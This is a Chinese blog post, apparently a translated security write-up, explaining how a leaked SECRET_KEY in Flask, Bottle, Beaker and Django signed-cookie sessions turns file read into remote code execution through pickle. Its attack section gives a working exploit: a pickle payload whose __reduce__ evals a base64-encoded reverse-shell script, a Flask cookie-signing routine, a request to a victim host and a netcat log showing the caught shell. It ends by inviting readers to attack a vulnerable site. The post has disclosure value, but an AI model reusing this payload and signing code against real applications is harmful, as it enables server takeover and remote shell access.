对于Python的框架中一些会话程序的管理

Django, Bottle, Flask,等所有的python web框架都需要配置一个SECRET_KEY。文档通常推荐我们使用随机的值,但我很难发现他有任何文字说明,因为这样容易被破解(本地攻击或者文本阅读在web app中更容易受攻击)。攻击者可以使用SECRET_KEY伪造cookies,csrf token然后使用管理员工具。不过这很难做到,不过他可以搞一些小破坏,比如执行恶意代码。这也是我下面将要介绍的。

记得以前使用PHP找到一个可以读服务器上任意文件的bug(不包含本地文件),你将会被迫选择远程执行代码(RCE)。你就需要审查大部分的app资源文件来找到其他的bugs或者有用的信息(比如说用户密码,或者数据库信息等)。在这个情况下,我们能说PHP是更安全的吗?
在攻击一个Python网站框架的时候,知道你设置的SECRET_KEY字段的攻击者,能够简单的将LFR攻击升级到RCE攻击。我(作者)是从攻击一系列的网站框架之后得出如上结论的。在这些网站框架中,都有雷同的,使用Pickle作为将经过签名的Cookie序列化的方式。

Flask框架中,Flask在config['SECRET_KEY']被赋予某个值,session_cookie_name(default='session')存在于cookie中的时候,将Cookie反序列化,甚至在没有session的情况下。(这样多么好,攻击者可以仅仅通过向config file添加SECRET_KEY的方式制造后门,并且,天真的用户将认为这非常'重要')

从 werkzeug library 里面提取出来的反序列方法是这样的:

def unserialize(cls, string, secret_key):
    if isinstance(string, unicode):
      string = string.encode('utf-8', 'replace')
    try:
      base64_hash, data = string.split('?', 1)
    except (ValueError, IndexError):
      items = ()
    else:
      items = {}
      mac = hmac(secret_key, None, cls.hash_method)
      # -- snip ---
      try:
        client_hash = base64_hash.decode('base64')
      except Exception:
        items = client_hash = None
      if items is not None and safe_str_cmp(client_hash, mac.digest()):
        try:
          for key, value in items.iteritems():
            items[key] = cls.unquote(value)
        except UnquoteError:
          # -- snip --
      else:
        items = ()
    return cls(items, secret_key, False)

反序列方法检查签名,然后在签名正确的情况下unquote()cookie的值。unquote()方法看起来非常无辜,但是事实上,这是一个默认的pickle.

#: the module used for serialization. Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
  # -- snip --
    if cls.quote_base64:
      value = value.decode('base64')
    if cls.serialization_method is not None:
      value = cls.serialization_method.loads(value)
    return value
  # -- snip --

Bottle: 在默认的bottle设定中时没有真正的secret key的,但是也许有人想要用signed cookie的功能来加密他自己的cookie.

让我们来看看代码是怎么样的:

def get_cookie(self, key, default=None, secret=None):
  value = self.cookies.get(key)
  if secret and value:
    dec = cookie_decode(value, secret) # (key, value) tuple or None
    return dec[1] if dec and dec[0] == key else default
  return value or default

当这个密钥被展现出来的时候,并且在cookie中还有其他数值的时候,cookie_decode方法被调用:

def cookie_decode(data, key):
  data = tob(data)
  if cookie_is_encoded(data):
    sig, msg = data.split(tob('?'), 1)
    if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
      return pickle.loads(base64.b64decode(msg))
  return None

再次,我们看到了Pickle !

Beaker的session:(任何服务都可以在session上使用beaker的中间件,bottle框架甚至推荐这么做) Beaker.Session 具有很多功能,并且这可能被混淆: 这里面有三个密钥 secret_key, validate_key, encrypted_key)

encrypt_key: 加密cookie信息,然后要么向客户端发送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中储存。如果没有设定encrypt_key,那么cookie不会被加密,只会被base64编码。当有encrypt_key的时候,cookie会被用encrypted_key, validate_key(可选)和一个随机值用AES方法加密。
    validate_key: 用来给加密的cookie签名
    secret:在用File mode时候给cookie签名(我不知道为什么他们不就用一个validate_key就好了!)

当然,当有人对文件拥有读的权限的时候,他/她理所当然知道所有的字段。然而,File mode使得攻击不得能因为我们对已经序列化的数据并没有控制权,例如,当这些数据储存在本地硬盘上的时候。在Cookie mode,攻击就能够成立,即便cookie被编码了(因为我们知道怎么encrypt,哈哈)。你也许会问,那个随机参数是不可知的,你们没办法攻击,幸运的是这个随机参数也是cookie存数的session数据的一部分,因此,我们可以将其替代为任何我们需要的值。

下面是他们构造session数据的代码

def _encrypt_data(self, session_data=None):
   """Serialize, encipher, and base64 the session dict"""
   session_data = session_data or self.copy()
   if self.encrypt_key:
     nonce = b64encode(os.urandom(6))[:8]
     encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                     self.validate_key + nonce, 1)
     data = util.pickle.dumps(session_data, 2)
     return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
   else:
     data = util.pickle.dumps(session_data, 2)
     return b64encode(data)

我们明显的看到这些数据的处理存在风险。

Django: 最知名也是在Python语言中最复杂的一个服务器框架。而且,没错,Django的开发者们在Cookie Session上放置了一个蛮不错的警告。以我之鄙见,这个警告不够,而应该被替换成'致命'或者是'警示',并且标上红色。

Django的Session是咋么工作的呢?我们能够从Django的文档中轻易的找到可阅读的答案:总而言之,Django给了session 3个可以设定的项目:db,file以及signed_cookie。再一次,我们只对signed_cookie产生兴趣,因为我们可以轻松的改变它。如果SESSION_ENGINE被设定为“django.contrib.sessions.backends.signed_cookies“,我们就确定signed_cookie是背用于session的管理。

有趣的是,如果我们在request cookie里面构造一个sessionid,它总是会被反序列化。Django也给了我们一个cookie是如何被签名的好实例。这让我们的工作轻松多了。

我们的攻击

我们还没有讨论我们如何攻击(有些你可能已经知道了)!感谢您的耐心看到最后,我写它在最后是因为攻击手段充满共性,而且简单(是的,原则性的知识)。

在这里,我们可以读取任何文件。要找到Python应用程序的配置文件并不难,因为到处有导入(import)。当我们获得的密钥时,我们可以简单的实现(或重复使用)签署web框架的cookie,并使用我们的恶意代码。 因为它们使用的是pickle.loads()反序列化的时候,我们的使用pickle.dumps()保存恶意代码。

piclke.dump()和loads()通常在处理整数,字符串,数列,哈希,字典类型的时候是安全的....但是他在处理一些恶意构造的数据类型的时候就不安全了!事实上,攻击者可以通过构造的数据类型来达到执行任意Python代码的目的。我写了一段不错的小程序来吧Python代码转换成Pickle序列化的对象。我们应该从connback.py开始阅读(这实际上是一个反向链接的shell),然后我们将诱使对方网站来用Pickle方法将其序列化。如果有人执行了pickle.loads(payload),那么我们的反向链接shell就会被激活。

code = b64(open('connback.py').read())
class ex(object):
  def __reduce__(self):
    return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

现在我们签名(适用于flask web框架):

def send_flask(key, payload):
  data = 'id='+b64(payload)
  mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
  s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

然后发送

print requests.get('http://victim/', cookies={'session':s})

在另外一个终端里:

danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

还有啥?

-所以怎样?只要你不知道我的secret_key我就是安全的!可以啊,你可以这样....但是和宣称:"我把我的钥匙放在房顶上,我知道你爬不上来..."没啥区别。

-好的, 所以如果我不用这种session cookie,我就安全了!没错,在小型的web app上,将session 储存在文件里面更安全(如果放在DB里面,我们还面临SQL Injection的危险)。但是如果是大型web app,然后你有个分布式的存储方式,这将导致严重的效率问题。

-那咋办?也许我们应该让那些web框架不要用piclke来序列化?我不知道是否存在这种框架,如果有的话就好了。PHP更安全吗?事实上不是如此

最后:

Web.Py,当我查看他们的web session文档的时候我发现:CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL

所以,干得好:D ,也许所有人都应该这样做。你们应该去试试web.py和其他框架。

我做了这些,如果你想要让它奏效你也可以花点时间上去。

作为一个礼物,这个网站是有这个漏洞的,让我们看看你们是不是能够把lfr bug升级成为一个rce,然后你们会找到真正的礼物:一个flag...

更新:有漏洞的网站的源码放在github上了,它的secret_key已经不一样了。

(0)

相关推荐

  • 编写简单的Python程序来判断文本的语种

    1.问题的描述 用Python进行文本处理时,有时候处理的文本中包含中文.英文.日文等多个语系的文本,有时候不能同时进行处理,这个时候就需要判别当前文本是属于哪个语系的.Python中有个langid工具包提供了此功能,langid目前支持97种语言的检测,非常好用. 2.程序的代码 以下Python是调用langid工具包来对文本进行语言检测与判别的程序代码: import langid #引入langid模块 def translate(inputFile, outputFile): fin

  • python执行等待程序直到第二天零点的方法

    本文实例讲述了python执行等待程序直到第二天零点的方法.分享给大家供大家参考.具体分析如下: 如果需要通过python每天凌晨定时执行执行程序,可以使用下面的代码进行等待操作,无论什么时候执行系统都会等待到第二天凌晨才执行后面的程序. def waitToTomorrow(): """Wait to tommorow 00:00 am""" tomorrow = datetime.datetime.replace(datetime.datet

  • 使用Python编写一个模仿CPU工作的程序

    今天早上早些时候,在我的Planet Python源中,我读到了一篇有趣的文章"开发CARDIAC:纸板计算机(Developing upwards: CARDIAC: The Cardboard Computer)",它是关于名为Cardiac的纸板计算机的.我的一些追随者和读者应该知道,我有一个名为简单CPU(simple-cpu)的项目,过去的数月我一直工作于此,并且已经发布了源代码.我真的应该给这个项目提供一个合适的许可证,这样,其他人可能更感兴趣,并在他们自己的项目中使用.不

  • 初步探究Python程序的执行原理

    1. 过程概述 Python先把代码(.py文件)编译成字节码,交给字节码虚拟机,然后虚拟机一条一条执行字节码指令,从而完成程序的执行. 2. 字节码 字节码在Python虚拟机程序里对应的是PyCodeObject对象. .pyc文件是字节码在磁盘上的表现形式. 3. pyc文件 PyCodeObject对象的创建时机是模块加载的时候,即import. Python test.py会对test.py进行编译成字节码并解释执行,但是不会生成test.pyc. 如果test.py加载了其他模块,如

  • 使用Protocol Buffers的C语言拓展提速Python程序的示例

    Protocol Buffers (类似XML的一种数据描述语言)最新版本2.3里,protoc-py_out命令只生成原生的Python代码. 尽管PB(Protocol Buffers)可以为C++语言生成快速解析和序列化代码,但是这种方式对于Python不适用,并且手动生成的已包装的代码需要非常大的维护工作.在讨论组里,这是一个常见的功能要求,由于一个必备的客户端组件-AppEngine(根据团队介绍名称为AppEngine),生成原生的Python代码有更高的优先级. 幸运的是, PB

  • 使用Pyrex来扩展和加速Python程序的教程

    Pyrex 是一种专门设计用来编写 Python 扩展模块的语言.根据 Pyrex Web 站点的介绍,"它被设计用来在友好易用的高级 Python 世界和凌乱的低级 C 世界之间搭建一个桥梁."虽然几乎所有的 Python 代码都可以作为有效的 Pyrex 代码使用,但是您可以在 Pyrex 代码中添加可选的静态类型声明,从而使得这些声明过的对象以 C 语言的速度运行. 加速 Python 从某种意义上来说,Pyrex 只是不断发展的 Python 类语言系列的一个部分:Jython

  • 对于Python的框架中一些会话程序的管理

    Django, Bottle, Flask,等所有的python web框架都需要配置一个SECRET_KEY.文档通常推荐我们使用随机的值,但我很难发现他有任何文字说明,因为这样容易被破解(本地攻击或者文本阅读在web app中更容易受攻击).攻击者可以使用SECRET_KEY伪造cookies,csrf token然后使用管理员工具.不过这很难做到,不过他可以搞一些小破坏,比如执行恶意代码.这也是我下面将要介绍的. 记得以前使用PHP找到一个可以读服务器上任意文件的bug(不包含本地文件),

  • python orm 框架中sqlalchemy用法实例详解

    本文实例讲述了python orm 框架中sqlalchemy用法.分享给大家供大家参考,具体如下: 一.ORM简介 1. ORM(Object-Relational Mapping,对象关系映射):作用是在关系型数据库和业务实体对象之间做一个映射. 2. ORM优点: 向开发者屏蔽了数据库的细节,使开发者无需与SQL语句打交道,提高了开发效率; 便于数据库的迁移,由于每种数据库的SQL语法有差别,基于Sql的数据访问层在更换数据库时通过需要花费时间调试SQL时间,而ORM提供了独立于SQL的接

  • Python Scrapy框架第一个入门程序示例

    本文实例讲述了python Scrapy框架第一个入门程序.分享给大家供大家参考,具体如下: 首先创建项目: scrappy start project maitian 第二步: 明确要抓取的字段items.py import scrapy class MaitianItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() title = scrapy.Field() price

  • python django框架中使用FastDFS分布式文件系统的安装方法

    一.安装FastDFS 1-1:执行docker命令安装 # 安装tracker docker run -dti --network=host --name tracker -v /var/fdfs/tracker:/var/fdfs youkou1/fastdfs tracker # 安装storage docker run -dti --network=host --name storage -e TRACKER_SERVER=IP地址:22122 -v /var/fdfs/storage:

  • python web框架中使用原生分页

    本文实例为大家分享了python web框架实现原生分页的具体代码,供大家参考,具体内容如下 原生分页器 示例 #!/usr/bin/env python # -*- coding:utf-8 -*- class Pagination: def __init__(self, p, all_count, pre=10, max_show=11): ''' :param p: 当前页码 :param all_count: 数据总条数 :param pre: 每页数据量 :param max_show

  • python web框架中实现原生分页

    本文实例为大家分享了python web框架实现原生分页的具体代码,供大家参考,具体内容如下 原生分页器 示例 #!/usr/bin/env python # -*- coding:utf-8 -*- class Pagination: def __init__(self, p, all_count, pre=10, max_show=11): ''' :param p: 当前页码 :param all_count: 数据总条数 :param pre: 每页数据量 :param max_show

  • python Django框架快速入门教程(后台管理)

    Python下有许多款不同的 Web 框架.Django是重量级选手中最有代表性的一位.许多成功的网站和APP都基于Django. Django 是一个开放源代码的 Web 应用框架,由 Python 写成. Django 遵守 BSD 版权,初次发布于 2005 年 7 月, 并于 2008 年 9 月发布了第一个正式版本 1.0 . Django 采用了 MVT 的软件设计模式,即模型(Model),视图(View)和模板(Template). 参考官方文档:Django官方文档https:

  • Python的Twisted框架中使用Deferred对象来管理回调函数

    首先抛出我们在讨论使用回调编程时的一些观点: 激活errback是非常重要的.由于errback的功能与except块相同,因此用户需要确保它们的存在.他们并不是可选项,而是必选项. 不在错误的时间点激活回调与在正确的时间点激活回调同等重要.典型的用法是,callback与errback是互斥的即只能运行其中一个. 使用回调函数的代码重构起来有些困难. Deferred Twisted使用Deferred对象来管理回调函数的序列.有些情况下可能要把一系列的函数关联到Deferred对象上,以便在

  • 在Python的框架中为MySQL实现restful接口的教程

    最近在做游戏服务分层的时候,一直想把mysql的访问独立成一个单独的服务DBGate,原因如下: 请求收拢到DBGate,可以使DBGate变为无状态的,方便横向扩展 当请求量或者存储量变大时,mysql需要做分库分表,DBGate可以内部直接处理,外界无感知 通过restful限制对数据请求的形式,仅支持简单的get/post/patch/put 进行增删改查,并不支持复杂查询.这个也是和游戏业务的特性有关,如果网站等需要复杂查询的业务,对此并不适合 DBGate使用多进程模式,方便控制与my

  • Python Behave框架学习

    behave是python语言的行为驱动开发,全称:Behavior-driven development,简称BDD. BDD框架 BDD即行为驱动开发(Behavior Driven Development),其特点为: 通过自然语言来定义系统行为 从功能使用者的角度,编写需求场景 鼓励软件项目中的开发者.非技术人员以及商业参与者之间的协作.协作的核心是通过活文档或者说场景文档来协作,该文档既是测试用例文档,也是需求定义文档 常见的BDD框架有Behave,Cucumber等 它是一种敏捷软

随机推荐